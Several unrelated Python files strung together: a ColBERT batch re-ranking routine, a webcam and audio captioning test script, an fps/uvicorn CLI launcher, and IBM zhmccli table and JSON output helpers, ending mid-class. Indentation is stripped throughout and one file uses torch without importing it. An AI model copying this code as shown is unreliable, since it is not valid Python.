import queue
import threading
from collections import defaultdict
from colbert.utils.runs import Run
from colbert.modeling.inference import ModelInference
from colbert.evaluation.ranking_logger import RankingLogger
from colbert.utils.utils import print_message, flatten, zipstar
from colbert.indexing.loaders import get_parts
from colbert.ranking.index_part import IndexPart
MAX_DEPTH_LOGGED = 1000 # TODO: Use args.depth
def prepare_ranges(index_path, dim, step, part_range):
print_message("#> Launching a separate thread to load index parts asynchronously.")
parts, _, _ = get_parts(index_path)
positions = [(offset, offset + step) for offset in range(0, len(parts), step)]
if part_range is not None:
positions = positions[part_range.start: part_range.stop]
loaded_parts = queue.Queue(maxsize=2)
def _loader_thread(index_path, dim, positions):
for offset, endpos in positions:
index = IndexPart(index_path, dim=dim, part_range=range(offset, endpos), verbose=True)
loaded_parts.put(index, block=True)
thread = threading.Thread(target=_loader_thread, args=(index_path, dim, positions,))
thread.start()
return positions, loaded_parts, thread
def score_by_range(positions, loaded_parts, all_query_embeddings, all_query_rankings, all_pids):
print_message("#> Sorting by PID..")
all_query_indexes, all_pids = zipstar(all_pids)
sorting_pids = torch.tensor(all_pids).sort()
all_query_indexes, all_pids = torch.tensor(all_query_indexes)[sorting_pids.indices], sorting_pids.values
range_start, range_end = 0, 0
for offset, endpos in positions:
print_message(f"#> Fetching parts {offset}--{endpos} from queue..")
index = loaded_parts.get()
print_message(f"#> Filtering PIDs to the range {index.pids_range}..")
range_start = range_start + (all_pids[range_start:] < index.pids_range.start).sum()
range_end = range_end + (all_pids[range_end:] < index.pids_range.stop).sum()
pids = all_pids[range_start:range_end]
query_indexes = all_query_indexes[range_start:range_end]
print_message(f"#> Got {len(pids)} query--passage pairs in this range.")
if len(pids) == 0:
continue
print_message(f"#> Ranking in batches the pairs #{range_start} through #{range_end}...")
scores = index.batch_rank(all_query_embeddings, query_indexes, pids, sorted_pids=True)
for query_index, pid, score in zip(query_indexes.tolist(), pids.tolist(), scores):
all_query_rankings[0][query_index].append(pid)
all_query_rankings[1][query_index].append(score)
def batch_rerank(args):
positions, loaded_parts, thread = prepare_ranges(args.index_path, args.dim, args.step, args.part_range)
inference = ModelInference(args.colbert, amp=args.amp)
queries, topK_pids = args.queries, args.topK_pids
with torch.no_grad():
queries_in_order = list(queries.values())
print_message(f"#> Encoding all {len(queries_in_order)} queries in batches...")
all_query_embeddings = inference.queryFromText(queries_in_order, bsize=512, to_cpu=True)
all_query_embeddings = all_query_embeddings.to(dtype=torch.float16).permute(0, 2, 1).contiguous()
for qid in queries:
"""
Since topK_pids is a defaultdict, make sure each qid *has* actual PID information (even if empty).
"""
assert qid in topK_pids, qid
all_pids = flatten([[(query_index, pid) for pid in topK_pids[qid]] for query_index, qid in enumerate(queries)])
all_query_rankings = [defaultdict(list), defaultdict(list)]
print_message(f"#> Will process {len(all_pids)} query--document pairs in total.")
with torch.no_grad():
score_by_range(positions, loaded_parts, all_query_embeddings, all_query_rankings, all_pids)
ranking_logger = RankingLogger(Run.path, qrels=None, log_scores=args.log_scores)
with ranking_logger.context('ranking.tsv', also_save_annotations=False) as rlogger:
with torch.no_grad():
for query_index, qid in enumerate(queries):
if query_index % 1000 == 0:
print_message("#> Logging query #{} (qid {}) now...".format(query_index, qid))
pids = all_query_rankings[0][query_index]
scores = all_query_rankings[1][query_index]
K = min(MAX_DEPTH_LOGGED, len(scores))
if K == 0:
continue
scores_topk = torch.tensor(scores).topk(K, largest=True, sorted=True)
pids, scores = torch.tensor(pids)[scores_topk.indices].tolist(), scores_topk.values.tolist()
ranking = [(score, pid, None) for pid, score in zip(pids, scores)]
assert len(ranking) <= MAX_DEPTH_LOGGED, (len(ranking), MAX_DEPTH_LOGGED)
rlogger.log(qid, ranking, is_ranked=True, print_positions=[1, 2] if query_index % 100 == 0 else [])
print('\n\n')
print(ranking_logger.filename)
print_message('#> Done.\n')
thread.join()
|
test3.py | import transcribe
import cv2
import threading
import testRecordAudio
import time
import combineAudioVideo
class Test2:
def __init__(self, subtitle, isRecognizing):
self.subtitle = subtitle
self.isRecognizing = isRecognizing
def stt(self):
# The duration in seconds of the video captured
capture_durationxx = 10
start_timexx = time.time()
while self.isRecognizing is False:
print("ran thread1")
try:
self.isRecognizing = True
transcribe.main()
self.isRecognizing = False
except Exception as e:
print("Error : " + str(e))
if (int(time.time() - start_timexx) > capture_durationxx):
break
# def getSubtitle(self):
# print("get subtitle: "+self.subtitle)
# return self.subtitle
def writeVideo(self):
# The duration in seconds of the video captured
capture_duration = 10
cap = cv2.VideoCapture(0)
out = cv2.VideoWriter('demo_divx.avi', cv2.VideoWriter_fourcc(
'D', 'I', 'V', 'X'), 30, (1280, 720))
outs = cv2.VideoWriter('demo_mjpg.avi', cv2.VideoWriter_fourcc('M', 'J', 'P', 'G'), 30, (1280, 720))
while cap.isOpened():
# print("ran thread 2")
start_time = time.time()
while (int(time.time() - start_time) < capture_duration):
ret, frame = cap.read()
if ret:
cv2.putText(frame, transcribe.getSTTresult(), (20, 620),
cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 250, 0), 3)
# 寫入影格
out.write(frame)
outs.write(frame)
# cv2.imshow("Real Live Caption", frame)
#
# if cv2.waitKey(1) & 0xFF == ord('q'):
# break
else:
break
break
cap.release()
out.release()
cv2.destroyAllWindows()
def recordAudio(self):
testRecordAudio.main()
def test():
temp = Test2("", False)
# testRecordAudio.main()
thread0 = threading.Thread(target=temp.recordAudio, name='T0')
thread1 = threading.Thread(target=temp.writeVideo, name='T1')
thread2 = threading.Thread(target=temp.stt, name='T2')
thread0.start()
thread1.start()
thread2.start()
thread0.join()
thread1.join()
thread2.join()
combineAudioVideo.main()
if __name__ == "__main__":
test()
|
cli.py | import logging
import os
import threading
import webbrowser
from typing import Any, Dict, List
import toml
import typer
import uvicorn
from fps_uvicorn.config import UvicornConfig
from fps.config import Config
from fps.logging import configure_loggers, get_loggers_config
from fps.utils import merge_dicts
app = typer.Typer()
def parse_extra_options(options: List[str]) -> Dict[str, Any]:
def unnested_option(key: str, val: str, root: bool = True) -> Dict[str, Any]:
if "." in key:
k1, k2 = key.split(".", maxsplit=1)
if not k1 or not k2:
raise ValueError(f"Ill-formed option key '{key}'")
try:
return {k1: unnested_option(k2, val, False)}
except ValueError as e:
if root:
raise ValueError(f"Ill-formed option key '{key}'")
else:
raise e
else:
if root:
raise AttributeError(
f"Plugin option must be of the form '<plugin-name>.<option>', got '{key}'"
)
if "," in val:
if val.startswith("[") and val.endswith("]"):
return {key: [v.strip() for v in val[1:-1].split(",")]}
else:
return {key: [v.strip() for v in val.split(",")]}
else:
return {key: val}
formatted_options: Dict[str, Any] = {}
i = 0
while i < len(options):
opt = options[i]
# ill-formed extra config
if not opt.startswith("--"):
typer.echo(f"Optional config should start with '--', got '{opt}'")
raise typer.Abort()
if "=" in opt:
# option is --key=value
k, v = opt[2:].split("=", maxsplit=1)
merge_dicts(formatted_options, unnested_option(k, v))
else:
if i + 1 < len(options):
# option if a flag --key
if options[i + 1].startswith("--"):
merge_dicts(formatted_options, unnested_option(opt[2:], "true"))
# option is --key value
else:
merge_dicts(
formatted_options, unnested_option(opt[2:], options[i + 1])
)
i += 1
# option if a flag --key
else:
merge_dicts(formatted_options, unnested_option(opt[2:], "true"))
i += 1
return formatted_options
def store_extra_options(options: Dict[str, Any]):
if options:
opts = parse_extra_options(options)
f_name = "fps_cli_args.toml"
with open(f_name, "w") as f:
toml.dump(opts, f)
os.environ["FPS_CLI_CONFIG_FILE"] = f_name
@app.command(
context_settings={"allow_extra_args": True, "ignore_unknown_options": True}
)
def start(
ctx: typer.Context,
host: str = None,
port: int = None,
root_path: str = None,
reload: bool = typer.Option(
None,
help=(
"Enable/disable automatic reloading of the server when sources are modified"
),
),
reload_dirs: str = ".",
open_browser: bool = typer.Option(
None,
help=("Enable/disable automatic automatic opening of the browser"),
),
config: str = None,
workers: int = None,
):
logger = logging.getLogger("fps")
if config:
if os.path.isfile(config):
os.environ["FPS_EXTRA_CONFIG_FILE"] = config
else:
logger.error(f"Invalid configuration file '{config}'")
exit(1)
store_extra_options(ctx.args)
Config.register("uvicorn", UvicornConfig)
config = Config(UvicornConfig)
host = host or config.host
port = port or config.port
root_path = root_path or config.root_path
reload = reload if reload is not None else config.reload
open_browser = open_browser if open_browser is not None else config.open_browser
workers = workers or config.workers
if open_browser:
threading.Thread(target=launch_browser, args=(host, port), daemon=True).start()
configure_loggers(("uvicorn", "uvicorn.access", "uvicorn.error"))
uvicorn.run(
"fps.main:app",
host=host,
port=port,
root_path=root_path,
workers=workers,
log_config=get_loggers_config(),
reload=reload,
reload_dirs=reload_dirs,
)
def launch_browser(host: str, port: int):
webbrowser.open_new(f"{host}:{port}")
|
_helper.py | # Copyright 2016-2019 IBM Corp. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""
Helper functions.
"""
from __future__ import absolute_import
import json
from collections import OrderedDict
import sys
import threading
import re
import jsonschema
import six
import click
import click_spinner
from tabulate import tabulate
import zhmcclient
import zhmcclient_mock
# Display of options in usage line
GENERAL_OPTIONS_METAVAR = '[GENERAL-OPTIONS]'
COMMAND_OPTIONS_METAVAR = '[COMMAND-OPTIONS]'
# File path of history file for interactive mode.
# If the file name starts with tilde (which is handled by the shell, not by
# the file system), it is properly expanded.
REPL_HISTORY_FILE = '~/.zhmc_history'
REPL_PROMPT = u'zhmc> ' # Must be Unicode
TABLE_FORMATS = ['table', 'plain', 'simple', 'psql', 'rst', 'mediawiki',
'html', 'latex']
LOG_DESTINATIONS = ['stderr', 'syslog', 'none']
LOG_LEVELS = ['error', 'warning', 'info', 'debug']
LOG_COMPONENTS = ['api', 'hmc', 'console', 'all']
SYSLOG_FACILITIES = ['user', 'local0', 'local1', 'local2', 'local3', 'local4',
'local5', 'local6', 'local7']
# Inner table format for each outer table format, when tables are nested for
# complex property types (arrays, nested objects). If a format is not mapped
# here, the outer table format will be used for the inner table.
# The table formats are the format indicators of the "tabulate" package (not
# the formats supported by zhmccli). In addition, the inner table formats may
# be 'repr' which indicates to use the repr() string on the input data for
# the inner table.
INNER_TABLE_FORMAT = {
'psql': 'plain',
'simple': 'plain',
'rst': 'grid',
'grid': 'grid',
'latex': 'repr',
# TODO on latex: Use latex_raw once "tabulate" can better control escaping
# mediawiki: uses nested mediawiki tables
# html: uses nested html tables
}
# Common Click options for list commands
LIST_OPTIONS = [
click.option('--names-only', is_flag=True, required=False,
help='Restrict properties shown to only the names of the '
'resource and its parents'),
click.option('--uri', is_flag=True, required=False,
help='Add the resource URI to the properties shown'),
click.option('--all', is_flag=True, required=False,
help='Show all properties'),
]
# Click options for email notification (used for storagegroup and storagevolume
# commands)
EMAIL_OPTIONS = [
click.option('--email-to-address', type=str, required=False, multiple=True,
help='An email address for the people that are to be notified '
'via email of any fulfillment actions caused by this '
'command. These email addresses will appear in the "to:" '
'address list in the email that is sent. '
'Can be specified multiple times. '
'Default: No email will be sent'),
click.option('--email-cc-address', type=str, required=False, multiple=True,
help='An email address for the people that are to be notified '
'via email of any fulfillment actions caused by this '
'command. These email addresses will appear in the "cc:" '
'address list in the email that is sent. '
'Can be specified multiple times. '
'Default: The "cc:" address list of the email will be empty'),
click.option('--email-insert', type=str, required=False,
help='Text that is to be inserted in the email notification '
'of any fulfillment actions caused by this command. '
'The text can include HTML formatting tags. '
'Default: The email will have no special text insert'),
]
# Click options use for commands that wait for completion of asynchronous HMC
# oprations
ASYNC_TIMEOUT_OPTIONS = [
click.option('-T', '--operation-timeout', type=int, required=False,
help='Operation timeout in seconds when waiting for '
'completion of asynchronous HMC operations. '
'Default: {def_ot}'.
format(def_ot=zhmcclient.DEFAULT_OPERATION_TIMEOUT)),
]
def abort_if_false(ctx, param, value):
"""
Click callback function that aborts the current command if the option
value is false.
Because this used as a reaction to an interactive confirmation question,
we issue the error message always in a human readable format (i.e. ignore
the specified error format).
Note that abortion mechanisms such as ctx.abort() or raising click.Abort
terminate the CLI completely, and not just the current command. This makes
a difference in the interactive mode.
Parameters:
ctx (:class:`click.Context`): The click context object. Created by the
``@click.pass_context`` decorator.
param (class:`click.Option`): The click option that used this callback.
value: The option value to be tested.
"""
# pylint: disable=unused-argument
if not value:
# click.ClickException seems to be the only reasonable exception we
# can raise here, but it prefixes the error text with 'Error: ', which
# is confusing in this case, because the user simply decided to abort.
raise click.ClickException("Aborted!")
class InvalidOutputFormatError(click.ClickException):
"""
Exception indicating an invalid output format for zhmc.
"""
def __init__(self, output_format):
msg = "Invalid output format: {of}".format(of=output_format)
super(InvalidOutputFormatError, self).__init__(msg)
class CmdContext(object):
"""
A context object we attach to the :class:`click.Context` object in its
``obj`` attribute. It is used to provide command line options and other
data.
"""
def __init__(self, host, userid, password, no_verify, ca_certs,
output_format, transpose, error_format, timestats, session_id,
get_password):
self._host = host
self._userid = userid
self._password = password
self._no_verify = no_verify
self._ca_certs = ca_certs
self._output_format = output_format
self._transpose = transpose
self._error_format = error_format
self._timestats = timestats
self._session_id = session_id
self._get_password = get_password
self._session = None
self._spinner = click_spinner.Spinner()
def __repr__(self):
ret = "CmdContext(at 0x{ctx:08x}, host={s._host!r}, " \
"userid={s._userid!r}, password={pw!r}, " \
"no_verify={s._no_verify!r}, ca_certs={s._ca_certs!r}, " \
"output_format={s._output_format!r}, transpose={s._transpose!r}, " \
"error_format={s._error_format!r}, timestats={s._timestats!r}," \
"session_id={s._session_id!r}, session={s._session!r}, ...)". \
format(ctx=id(self), s=self, pw='...' if self._password else None)
return ret
@property
def host(self):
"""
:term:`string`: Hostname or IP address of the HMC.
"""
return self._host
@property
def userid(self):
"""
:term:`string`: Userid on the HMC.
"""
return self._userid
@property
def no_verify(self):
"""
bool: Do not verify the server certificate presented by the HMC
during SSL/TLS handshake.
"""
return self._no_verify
@property
def ca_certs(self):
"""
:term:`string`: Path name of certificate file or directory with CA
certificates for verifying the HMC certificate. If `None`, the
zhmcclient will be set up to use the 'certifi' package.
"""
return self._ca_certs
@property
def output_format(self):
"""
:term:`string`: Output format to be used.
"""
return self._output_format
@property
def transpose(self):
"""
bool: Transpose the output table.
"""
return self._transpose
@property
def error_format(self):
"""
:term:`string`: Error message format to be used.
"""
return self._error_format
@property
def timestats(self):
"""
bool: Indicates whether time statistics should be printed.
"""
return self._timestats
@property
def session_id(self):
"""
:term:`string` or :class:`~zhmcclient_mock.FakedSession`:
If string: Session-id of real session to be used.
If `None`: Create a new real session using host, userid, password.
If FakedSession: Faked session to be used.
"""
return self._session_id
@property
def get_password(self):
"""
:term:`callable`: Password retrieval function, or `None`.
"""
return self._get_password
@property
def session(self):
"""
The session to be used, or `None` if a session has not yet been
created. The session may be a :class:`zhmcclient.Session` or
:class:`zhmcclient_mock.FakedSession` object.
"""
return self._session
@property
def spinner(self):
"""
:class:`~click_spinner.Spinner` object.
Since click_spinner 0.1.5, the Spinner object takes care of suppressing
the spinner when not on a tty, and is able to suspend/resume the
spinner via its stop() and start() methods.
"""
return self._spinner
def execute_cmd(self, cmd):
"""
Execute the command.
"""
if self._session is None:
if isinstance(self._session_id, zhmcclient_mock.FakedSession):
self._session = self._session_id
else:
if self._host is None:
raise click_exception("No HMC host provided",
self._error_format)
if self._no_verify:
verify_cert = False
elif self._ca_certs is None:
verify_cert = True # Use 'certifi' package
else:
verify_cert = self._ca_certs
self._session = zhmcclient.Session(
self._host, self._userid, self._password,
session_id=self._session_id,
get_password=self._get_password,
verify_cert=verify_cert)
if self.timestats:
self._session.time_stats_keeper.enable()
self.spinner.start()
try:
cmd()
except zhmcclient.Error as exc:
raise click_exception(exc, self.error_format)
finally:
self.spinner.stop()
if self._session.time_stats_keeper.enabled:
click.echo(self._session.time_stats_keeper)
def original_options(options):
"""
Return the input options with their original names.
This is used to undo the name change the click package applies
automatically before passing the options to the function that was decorated
with 'click.option()'. The original names are needed in case there is
special processing of the options on top of 'options_to_properties()'.
The original names are constructed by replacing any underscores '_' with
hyphens '-'. This approach may not be perfect in general, but it works for
the zhmc CLI because the original option names do not have any underscores.
Parameters:
options (dict): The click options dictionary as passed to the decorated
function by click (key: option name as changed by click, value: option
value).
Returns:
dict: Options with their original names.
"""
org_options = {}
for name, value in six.iteritems(options):
org_name = name.replace('_', '-')
org_options[org_name] = value
return org_options
def options_to_properties(options, name_map=None):
"""
Convert click options into HMC resource properties.
The click option names in input parameters to this function are the
original option names (e.g. as produced by `original_options()`.
Options with a value of `None` are not added to the returned resource
properties.
If a name mapping dictionary is specified, the option names are mapped
using that dictionary. If an option name is mapped to `None`, it is not
going to be added to the set of returned resource properties.
Parameters:
options (dict): The options dictionary (key: original option name,
value: option value).
name_map (dict): `None` or name mapping dictionary (key: original
option name, value: property name, or `None` to not add this option to
the returned properties).
Returns:
dict: Resource properties (key: property name, value: option value)
"""
properties = {}
for name, value in six.iteritems(options):
if value is None:
continue
if name_map:
name = name_map.get(name, name)
if name is not None:
properties[name] = value
return properties
def print_properties(cmd_ctx, properties, output_format, show_list=None):
"""
Print properties in the desired output format.
The spinner is stopped just before printing.
Parameters:
cmd_ctx (CmdContext): Context object of the command.
properties (dict): The properties.
output_format (string): Output format from the command line.
show_list (iterable of string): The property names to be shown.
If `None`, all properties are shown.
"""
if output_format in TABLE_FORMATS:
if output_format == 'table':
output_format = 'psql'
print_properties_as_table(cmd_ctx, properties, output_format, show_list)
elif output_format == 'json':
print_properties_as_json(cmd_ctx, properties, show_list)
else:
raise InvalidOutputFormatError(output_format)
def print_resources(
cmd_ctx, resources, output_format, show_list=None, additions=None,
all=False):
# pylint: disable=redefined-builtin
"""
Print the properties of a list of resources in the desired output format.
While accessing the properties of the resources, they are fetched from
the HMC as needed.
The spinner is stopped just before printing.
Parameters:
cmd_ctx (CmdContext): Context object of the command.
resources (iterable of BaseResource):
The resources.
output_format (string): Output format from command line.
show_list (iterable of string):
The property names to be shown. If a property is not in the resource
object, it will be retrieved from the HMC. This iterable also defines
the order of columns in the table, from left to right in iteration
order.
If `None`, all properties in the resource objects are shown, and their
column order is ascending by property name.
additions (dict of dict of values): Additional properties,
as a dict keyed by the property name (which also needs to be listed in
`show_list`),
whose value is a dict keyed by the resource URI,
whose value is the value to be shown.
If `None`, no additional properties are defined.
all (bool): Add all remaining properties in sorted order.
Raises:
InvalidOutputFormatError
zhmcclient.HTTPError
zhmcclient.ParseError
zhmcclient.AuthError
zhmcclient.ConnectionError
"""
if output_format in TABLE_FORMATS:
if output_format == 'table':
output_format = 'psql'
print_resources_as_table(
cmd_ctx, resources, output_format, show_list, additions, all)
elif output_format == 'json':
print_resources_as_json(cmd_ctx, resources, show_list, additions, all)
else:
raise InvalidOutputFormatError(output_format)
def print_dicts(
cmd_ctx, dicts, output_format, show_list=None, additions=None,
all=False):
# pylint: disable=redefined-builtin
"""
Print the properties of a list of dicts in the desired output format.
The spinner is stopped just before printing.
Parameters:
cmd_ctx (CmdContext): Context object of the command.
dicts (iterable of dict):
The dicts.
output_format (string): Output format from command line.
show_list (iterable of string):
The property names to be shown. If a property is not in the dict
object, its value defaults to None. This iterable also defines
the order of columns in the table, from left to right in iteration
order.
If `None`, all properties in the dict objects are shown, and their
column order is ascending by property name.
additions (dict of dict of values): Additional properties,
as a dict keyed by the property name (which also needs to be listed in
`show_list`),
whose value is a dict keyed by the resource URI,
whose value is the value to be shown.
If `None`, no additional properties are defined.
all (bool): Add all remaining properties in sorted order.
Raises:
InvalidOutputFormatError
"""
if output_format in TABLE_FORMATS:
if output_format == 'table':
output_format = 'psql'
print_dicts_as_table(
cmd_ctx, dicts, output_format, show_list, additions, all)
elif output_format == 'json':
print_dicts_as_json(cmd_ctx, dicts, show_list, additions, all)
else:
raise InvalidOutputFormatError(output_format)
def print_properties_as_table(
cmd_ctx, properties, table_format, show_list=None):
"""
Print properties in tabular output format.
The order of rows is ascending by property name.
The spinner is stopped just before printing.
Parameters:
cmd_ctx (CmdContext): Context object of the command.
properties (dict): The properties.
table_format (string): Supported table formats are:
- "table" -> same like "psql"
- "plain"
- "simple"
- "psql"
- "rst"
- "mediawiki"
- "html"
- "latex"
show_list (iterable of string): The property names to be shown.
If `None`, all properties are shown.
"""
headers = ['Field Name', 'Value']
out_str = dict_as_table(properties, headers, table_format, show_list)
cmd_ctx.spinner.stop()
click.echo(out_str)
def print_resources_as_table(
cmd_ctx, resources, table_format, show_list=None, additions=None,
all=False):
# pylint: disable=redefined-builtin
"""
Print resources in tabular output format.
While accessing the properties of the resources, they are fetched from
the HMC as needed.
The spinner is stopped just before printing.
Parameters:
cmd_ctx (CmdContext): Context object of the command.
resources (iterable of BaseResource):
The resources.
table_format (string): Supported table formats are:
- "table" -> same like "psql"
- "plain"
- "simple"
- "psql"
- "rst"
- "mediawiki"
- "html"
- "latex"
show_list (iterable of string):
The property names to be shown. If a property is not in the resource
object, it will be retrieved from the HMC. This iterable also defines
the order of columns in the table, from left to right in iteration
order.
If `None`, all properties in the resource objects are shown, and their
column order is ascending by property name.
additions (dict of dict of values): Additional properties,
as a dict keyed by the property name (which also needs to be listed in
`show_list`),
whose value is a dict keyed by the resource URI,
whose value is the value to be shown.
If `None`, no additional properties are defined.
all (bool): Add all remaining properties in sorted order.
Raises:
zhmcclient.HTTPError
zhmcclient.ParseError
zhmcclient.AuthError
zhmcclient.ConnectionError
"""
inner_format = INNER_TABLE_FORMAT.get(table_format, table_format)
prop_names = OrderedDict() # key: property name, value: None
remaining_prop_names = OrderedDict() # key: property name, value: None
resource_props_list = []
for resource in resources:
resource_props = {}
if show_list:
for name in show_list:
if additions and name in additions:
value = additions[name][resource.uri]
else:
# May raise zhmcclient exceptions
value = resource.prop(name)
resource_props[name] = value
prop_names[name] = None
else:
for name in sorted(resource.properties):
# May raise zhmcclient exceptions
resource_props[name] = resource.prop(name)
prop_names[name] = None
if all:
resource.pull_full_properties()
for name in resource.properties:
if name not in prop_names:
# May raise zhmcclient exceptions
resource_props[name] = resource.prop(name)
remaining_prop_names[name] = None
resource_props_list.append(resource_props)
prop_names = list(prop_names.keys()) + sorted(remaining_prop_names)
table = []
for resource_props in resource_props_list:
row = []
for name in prop_names:
value = resource_props.get(name, None)
value = value_as_table(value, inner_format)
row.append(value)
table.append(row)
cmd_ctx.spinner.stop()
if not table:
click.echo("No resources.")
else:
sorted_table = sorted(table, key=lambda row: row[0])
out_str = tabulate(sorted_table, prop_names, tablefmt=table_format)
click.echo(out_str)
def print_dicts_as_table(
cmd_ctx, dicts, table_format, show_list=None, additions=None,
all=False):
# pylint: disable=redefined-builtin
"""
Print a list of dictionaries in tabular output format.
The spinner is stopped just before printing.
Parameters:
cmd_ctx (CmdContext): Context object of the command.
dicts (iterable of dict):
The dictionaries.
table_format (string): Supported table formats are:
- "table" -> same like "psql"
- "plain"
- "simple"
- "psql"
- "rst"
- "mediawiki"
- "html"
- "latex"
show_list (iterable of string):
The property names to be shown. If a property is not in the dict
object, its value defaults to None. This iterable also defines
the order of columns in the table, from left to right in iteration
order.
If `None`, all properties in the dict objects are shown, and their
column order is ascending by property name.
additions (dict of dict of values): Additional properties,
as a dict keyed by the property name (which also needs to be listed in
`show_list`),
whose value is a dict keyed by the index in dicts,
whose value is the value to be shown.
If `None`, no additional properties are defined.
all (bool): Add all remaining properties in sorted order.
"""
inner_format = INNER_TABLE_FORMAT.get(table_format, table_format)
prop_names = OrderedDict() # key: property name, value: None
remaining_prop_names = OrderedDict() # key: property name, value: None
dict_props_list = []
for index, _dict in enumerate(dicts):
dict_props = {}
if show_list:
for name in show_list:
if additions and name in additions:
value = additions[name][index]
else:
value = _dict[name]
dict_props[name] = value
prop_names[name] = None
else:
for name in sorted(_dict):
# May raise zhmcclient exceptions
dict_props[name] = _dict[name]
prop_names[name] = None
if all:
for name in _dict:
if name not in prop_names:
# May raise zhmcclient exceptions
dict_props[name] = _dict[name]
remaining_prop_names[name] = None
dict_props_list.append(dict_props)
prop_names = list(prop_names.keys()) + sorted(remaining_prop_names)
table = []
for dict_props in dict_props_list:
row = []
for name in prop_names:
value = dict_props.get(name, None)
value = value_as_table(value, inner_format)
row.append(value)
table.append(row)
cmd_ctx.spinner.stop()
if not table:
click.echo("No items.")
else:
sorted_table = sorted(table, key=lambda row: row[0])
out_str = tabulate(sorted_table, prop_names, tablefmt=table_format)
click.echo(out_str)
def dict_as_table(data, headers, table_format, show_list=None):
"""
Return a string with the dictionary data in tabular output format.
The order of rows is ascending by dictionary key.
Parameters:
data (dict): The dictionary data.
headers (list): The text for the header row. `None` means no header row.
table_format: Table format, see print_resources_as_table().
show_list (iterable of string): The dict keys to be shown.
If `None`, all dict keys are shown.
"""
if table_format == 'repr':
ret_str = repr(data)
else:
table = []
inner_format = INNER_TABLE_FORMAT.get(table_format, table_format)
sorted_fields = sorted(data)
for field in sorted_fields:
if show_list is None or field in show_list:
value = value_as_table(data[field], inner_format)
table.append((field, value))
ret_str = tabulate(table, headers, tablefmt=table_format)
return ret_str
def list_as_table(data, table_format):
"""
Return a string with the list data in tabular output format.
The order of rows is the order of items in the list.
Parameters:
data (list): The list data.
table_format: Table format, see print_resources_as_table().
"""
if table_format == 'repr':
ret_str = repr(data)
else:
table = []
inner_format = INNER_TABLE_FORMAT.get(table_format, table_format)
for value in data:
value = value_as_table(value, inner_format)
table.append((value,))
ret_str = tabulate(table, headers=[], tablefmt=table_format)
return ret_str
def value_as_table(value, table_format):
"""
Return the value in the table format.
Parameters:
value (dict or list or simple type): The value to be converted.
table_format (string): The table format to be used.
Returns:
string or simple type: The value in the table format.
"""
if isinstance(value, list):
value = list_as_table(value, table_format)
elif isinstance(value, (dict, OrderedDict)):
value = dict_as_table(value, [], table_format)
else:
# format the single value
# TODO: Make the formatting less hard coded.
if isinstance(value, float):
value = '{0:.2f}'.format(value)
return value
def print_properties_as_json(cmd_ctx, properties, show_list=None):
"""
Print properties in JSON output format.
The spinner is stopped just before printing.
Parameters:
cmd_ctx (CmdContext): Context object of the command.
properties (dict): The properties.
show_list (iterable of string):
The property names to be shown. The property name must be in the
`properties` dict.
If `None`, all properties in the `properties` dict are shown.
"""
show_properties = OrderedDict()
for pname in sorted(properties):
if show_list is None or pname in show_list:
show_properties[pname] = properties[pname]
json_str = json.dumps(show_properties)
cmd_ctx.spinner.stop()
click.echo(json_str)
def print_resources_as_json(
cmd_ctx, resources, show_list=None, additions=None, all=False):
# pylint: disable=redefined-builtin
"""
Print resources in JSON output format.
While accessing the properties of the resources, they are fetched from
the HMC as needed.
The spinner is stopped just before printing.
Parameters:
cmd_ctx (CmdContext): Context object of the command.
resources (iterable of BaseResource):
The resources.
show_list (iterable of string):
The property names to be shown. If a property is not in a resource
object, it will be retrieved from the HMC.
If `None`, all properties in the input resource objects are shown.
additions (dict of dict of values): Additional properties,
as a dict keyed by the property name (which also needs to be listed in
`show_list`),
whose value is a dict keyed by the resource URI,
whose value is the value to be shown.
If `None`, no additional properties are defined.
all (bool): Add all remaining properties in sorted order.
Raises:
zhmcclient.HTTPError
zhmcclient.ParseError
zhmcclient.AuthError
zhmcclient.ConnectionError
"""
prop_names = OrderedDict() # key: property name, value: None
resource_props_list = []
for resource in resources:
resource_props = {}
if show_list:
for name in show_list:
if additions and name in additions:
value = additions[name][resource.uri]
else:
# May raise zhmcclient exceptions
value = resource.prop(name)
resource_props[name] = value
prop_names[name] = None
else:
for name in resource.properties:
# May raise zhmcclient exceptions
resource_props[name] = resource.prop(name)
prop_names[name] = None
if all:
resource.pull_full_properties()
for name in resource.properties:
if name not in prop_names:
# May raise zhmcclient exceptions
resource_props[name] = resource.prop(name)
prop_names[name] = None
resource_props_list.append(resource_props)
json_obj = []
for resource_props in resource_props_list:
json_res = OrderedDict()
for name in sorted(prop_names):
value = resource_props.get(name, None)
json_res[name] = value
json_obj.append(json_res)
json_str = json.dumps(json_obj)
cmd_ctx.spinner.stop()
click.echo(json_str)
def print_dicts_as_json(
cmd_ctx, dicts, show_list=None, additions=None, all=False):
# pylint: disable=redefined-builtin
"""
Print dicts in JSON output format.
The spinner is stopped just before printing.
Parameters:
cmd_ctx (CmdContext): Context object of the command.
dicts (iterable of dict):
The dicts.
show_list (iterable of string):
The property names to be shown. If a property is not in a resource
object, its value will default to None.
If `None`, all properties in the input resource objects are shown.
additions (dict of dict of values): Additional properties,
as a dict keyed by the property name (which also needs to be listed in
`show_list`),
whose value is a dict keyed by the index in dicts,
whose value is the value to be shown.
If `None`, no additional properties are defined.
all (bool): Add all remaining properties in sorted order.
"""
prop_names = OrderedDict() # key: property name, value: None
dict_props_list = []
for index, _dict in enumerate(dicts):
dict_props = {}
if show_list:
for name in show_list:
if additions and name in additions:
value = additions[name][index]
else:
# May raise zhmcclient exceptions
value = _dict[name]
dict_props[name] = value
prop_names[name] = None
else:
for name in _dict:
# May raise zhmcclient exceptions
dict_props[name] = _dict[name]
prop_names[name] = None
if all:
for name in _dict:
if name not in prop_names:
# May raise zhmcclient exceptions
dict_props[name] = _dict[name]
prop_names[name] = None
dict_props_list.append(dict_props)
json_obj = []
for dict_props in dict_props_list:
json_res = OrderedDict()
for name in sorted(prop_names):
value = dict_props.get(name, None)
json_res[name] = value
json_obj.append(json_res)
json_str = json.dumps(json_obj)
cmd_ctx.spinner.stop()
click.echo(json_str)
class ExceptionThread(threading.Thread):
"""
A thread class derived from :class:`py:threading.Thread` that handles
exceptions that are raised in the started thread, by re-raising them in
the thread that joins the started thread.
The thread function needs to be specified with the 'target' init argument.
"""
def __init__(self, *args, **kwargs):
